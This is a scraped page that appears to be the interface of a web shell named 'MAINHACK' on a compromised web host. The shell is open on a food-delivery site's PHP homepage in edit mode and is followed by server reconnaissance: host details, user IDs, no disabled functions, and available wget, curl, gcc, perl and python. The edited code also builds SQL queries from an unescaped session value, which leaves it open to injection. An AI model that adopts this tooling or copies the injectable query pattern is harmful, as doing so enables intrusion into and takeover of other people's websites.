[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index_main1.php
<?php include('header.php'); if($_SESSION['location']!=''){ $sql="where food_maker.locality like'%".$_SESSION['location']."%' "; } //unset($_SESSION['location']); ?> <!-- BANNER --> <div class="banner"> <div id="banner-slider" class="owl-carousel"> <?php $sq=$show->readAll('page_banner'); while($r=$sq->fetch(PDO::FETCH_ASSOC)){ ?> <div class="item"> <img src="<?=$pic_img?>/<?=$r['banner']?>" alt="" class="banner-img"> </div> <?php } ?> </div> <div class="dec-banner"> <div class="container"> <div class="dec-banner-text"> <h3>Eat Fresh <span>Eat Healthy</span></h3> <h5>For no one rejects, or hates, or shuns pleasure, because it is pleasure itself; but because great pains result from those who do not know how to follow pleasure by reason</h5> </div> </div> </div> </div> <!-- The Most Recent Releases / Our Special --> <div class="recent-product" style="background: #f7f6f6;"> <div class="title-section text-center"> <h3 class="w3ls-title">Home <span>Cooks</span></h3> <p class="w3ls-title-sub">Our Chef's Corner</p> </div> <div class="recent-box"> <div class="row"> <div id="cooks-demo" class="owl-carousel owl-theme owl-responsive-768 owl-loaded"> <?php $clause="where food_maker.locality like'%".$_SESSION['location']."%'"; $sq=$show->readAll_clause('food_maker',$clause); $num1=$sq->rowCount(); if($num1>0){ while($row=$sq->fetch(PDO::FETCH_ASSOC)){ $banner=$row['banner']==''?'noimg.png':$row['banner']; $profile_pic=$row['profile_pic']==''?'noimg.png':$row['profile_pic']; ?> <div class="item"> <div class="box-secend-food"> <a href="food-single.php?makid=<?=base64_encode($row['maker_id'])?>"> <img src="<?=$pic_img?>/<?=$banner?>" alt="" class="templates-cook"> <img src="<?=$pic_img?>/<?=$profile_pic?>" alt="" class="use-icon-top-img"> <h4><?=$row['title']?></h4> <div class="product-review"> <?php if($row['rating_num']!=0){?> <li><img src="images/star<?=$row['rating']?>.png"><sub><?=$row['review_total']?> Review</sub></li> <?php } ?> </div> </a> </div> </div> <?php } } ?> </div> </div> </div> </div> <!-- The Most Recent Releases / Our Special --> <div class="recent-product"> <div class="title-section text-center"> <h3 class="w3ls-title">Our <span>Special</span></h3> <p class="w3ls-title-sub">Sub - Title</p> </div> <div class="recent-box"> <div class="row"> <div id="special-demo" class="owl-carousel owl-theme owl-responsive-768 owl-loaded"> <?php $c=1; $st="select *,menu_items.name as fname from menu_items inner join food_maker on food_maker.maker_id=menu_items.maker_id $sql and menu_items.our_special='1' order by menu_items.id desc "; $stmt1=$con->prepare($st); $stmt1->execute(); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <script> function check<?=$c?>(){ //e.preventDefault(); // cancel default action var com_title=$('#com_title<?=$c?>').val(); var maker_id="<?=$_SESSION['maker_id']?>"; //alert(com_title); if(maker_id==''){ $.ajax({ type:"POST", url:"ajax_check.php", data:"maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }else if(maker_id!=com_title){ // swal('Do you want to discard the added item of different home cook?'); setTimeout(function() { swal({ title: "Oops!", text: "Do you want to discard the added item of different home cook?", type: "error" }, function() { $.ajax({ type:"POST", url:"ajax_check.php", data:"unset_maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }); }, 1000); }else{ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); //$("#form<?=$c?>").submit(); swal('added to cart'); } } </script> <form method="post" class="index-add" id="form<?=$c?>" action="index.php?menu_id=<?=$row['menu_id'];?>&action=add&code=<?=$row['menu_id']?>&price=<?=$row['price']?>"> <div class="item"> <div class="box-fast-food"> <a href="food-single.php?makid=<?=base64_encode($row['maker_id'])?>"> <img src="<?=$pic_img?>/<?=$row['image']?>?>" alt="" class="templates-img"> <h4><?=$row['fname']?> </h4><small>[<?=$row['title']?>]</small> <div class="product-review"> <ul> <?php if($row['rating_num']!=0){?> <li><img src="images/star<?=$row['rating_num']?>.png"><sub><?=$row['review_total_num']?> Review</sub></li> <?php } ?> </ul> </div> <h6><b>Rs : </b> <?=$row['price']?> /<small>Serves: <?=$row['serves']?></small></h6> </a> <input type="hidden" name="img" value="<?=$row['image']?>"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="<?=$row['fname']?>"> <input type="hidden" name="price" value="<?=$row['price']?>"> <input type="hidden" name="code" value="<?=$row['menu_id']?>"> <input type="hidden" name="serves" value="<?=$row['serves']?>"> <input type="hidden" id="com_title<?=$c?>" name="com_title" value="<?=$row['maker_id']?>"> <input type="hidden" name="comisn" value="<?=$row['comi_percent']?>"> <input type="button" value="Add to Cart" class="button" onclick="check<?=$c?>()" class="button" > </div> </div> </form> <?php ++$c;} } ?> </div> </div> </div> <!-- The Most Recent Releases / Our Special --> <div class="recent-product"> <div class="title-section text-center"> <h3 class="w3ls-title">Veg <span>food</span></h3> <p class="w3ls-title-sub">All Love for</p> </div> <div class="recent-box"> <div class="row"> <div id="veg-demo" class="owl-carousel owl-theme owl-responsive-768 owl-loaded"> <?php $c=1; $st="select *,menu_items.name as fname from menu_items inner join food_maker on food_maker.maker_id=menu_items.maker_id $sql"; $st .="and menu_items.type='Veg'"; $st .="order by menu_items.id desc "; $stmt1=$con->prepare($st); $stmt1->execute(); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <script> function check<?=$c?>(){ //e.preventDefault(); // cancel default action var com_title=$('#com_title<?=$c?>').val(); var maker_id="<?=$_SESSION['maker_id']?>"; //alert(com_title); if(maker_id==''){ $.ajax({ type:"POST", url:"ajax_check.php", data:"maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }else if(maker_id!=com_title){ // swal('Do you want to discard the added item of different home cook?'); setTimeout(function() { swal({ title: "Oops!", text: "Do you want to discard the added item of different home cook?", type: "error" }, function() { $.ajax({ type:"POST", url:"ajax_check.php", data:"unset_maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }); }, 1000); }else{ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); //$("#form<?=$c?>").submit(); swal('added to cart'); } } </script> <div class="item"> <div class="box-fast-food"> <form method="post" class="index-add" id="form<?=$c?>" action="index.php?menu_id=<?=$row['menu_id'];?>&action=add&code=<?=$row['menu_id']?>&price=<?=$row['price']?>"> <a href="home-made-food.php"> <img src="<?=$pic_img?>/<?=$row['image']?>" alt="" class="templates-img"> <h4><?=$row['fname']?></h4><small>[<?=$row['title']?>]</small> <div class="product-review"> <ul> <?php if($row['rating_num']!=0){?> <li><img src="images/star<?=$row['rating_num']?>.png"><sub><?=$row['review_total_num']?> Review</sub></li> <?php } ?> </ul> </div> <h6><b>Rs : </b> <?=$row['price']?> /<small>Serves: <?=$row['serves']?></small></h6> </a> <input type="hidden" name="img" value="<?=$row['image']?>"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="<?=$row['fname']?>"> <input type="hidden" name="price" value="<?=$row['price']?>"> <input type="hidden" name="code" value="<?=$row['menu_id']?>"> <input type="hidden" name="serves" value="<?=$row['serves']?>"> <input type="hidden" id="com_title<?=$c?>" name="com_title" value="<?=$row['maker_id']?>"> <input type="hidden" name="comisn" value="<?=$row['comi_percent']?>"> <input type="button" value="Add to Cart" class="button" onclick="check<?=$c?>()" class="button" > </form> </div> </div> <?php ++$c;} } ?> </div> </div> </div> <!-- The Most Recent Releases / Our Special --> <div class="recent-product" style="background: #f7f6f6;"> <div class="title-section text-center"> <h3 class="w3ls-title">Non veg <span>food</span></h3> <p class="w3ls-title-sub">Explore</p> </div> <div class="recent-box"> <div class="row"> <div id="nonveg-demo" class="owl-carousel owl-theme owl-responsive-768 owl-loaded"> <?php $st="select *,menu_items.name as fname from menu_items inner join food_maker on food_maker.maker_id=menu_items.maker_id $sql"; $st .="and menu_items.type='Non-Veg'"; $st .="order by menu_items.id desc "; $stmt1=$con->prepare($st); $stmt1->execute(); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <script> function check<?=$c?>(){ //e.preventDefault(); // cancel default action var com_title=$('#com_title<?=$c?>').val(); var maker_id="<?=$_SESSION['maker_id']?>"; //alert(com_title); if(maker_id==''){ $.ajax({ type:"POST", url:"ajax_check.php", data:"maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }else if(maker_id!=com_title){ // swal('Do you want to discard the added item of different home cook?'); setTimeout(function() { swal({ title: "Oops!", text: "Do you want to discard the added item of different home cook?", type: "error" }, function() { $.ajax({ type:"POST", url:"ajax_check.php", data:"unset_maker_id="+com_title, success: function (response){ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); swal('added to cart'); } }); }); }, 1000); }else{ document.getElementById("form<?=$c?>").submit(); // or $("#form_id")[0].submit(); //$("#form<?=$c?>").submit(); swal('added to cart'); } } </script> <div class="item"> <form method="post" class="index-add" id="form<?=$c?>" action="index.php?menu_id=<?=$row['menu_id'];?>&action=add&code=<?=$row['menu_id']?>&price=<?=$row['price']?>"> <div class="box-fast-food"> <a href="home-made-food.php"> <img src="<?=$pic_img?>/<?=$row['image']?>?>" alt="" class="templates-img"> <h4><?=$row['fname']?></h4><small>[<?=$row['title']?>]</small> <div class="product-review"> <ul> <?php if($row['rating_num']!=0){?> <li><img src="images/star<?=$row['rating_num']?>.png"><sub><?=$row['review_total_num']?> Review</sub></li> <?php } ?> </ul> </div> <h6><b>Rs : </b> <?=$row['price']?> /<small>Serves: <?=$row['serves']?></small></h6> </a> <input type="hidden" name="img" value="<?=$row['image']?>"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="<?=$row['fname']?>"> <input type="hidden" name="price" value="<?=$row['price']?>"> <input type="hidden" name="code" value="<?=$row['menu_id']?>"> <input type="hidden" name="serves" value="<?=$row['serves']?>"> <input type="hidden" id="com_title<?=$c?>" name="com_title" value="<?=$row['maker_id']?>"> <input type="hidden" name="comisn" value="<?=$row['comi_percent']?>"> <input type="button" value="Add to Cart" class="button" onclick="check<?=$c?>()" class="button" > </div> </form> </div> <?php ++$c;} } ?> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.04 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619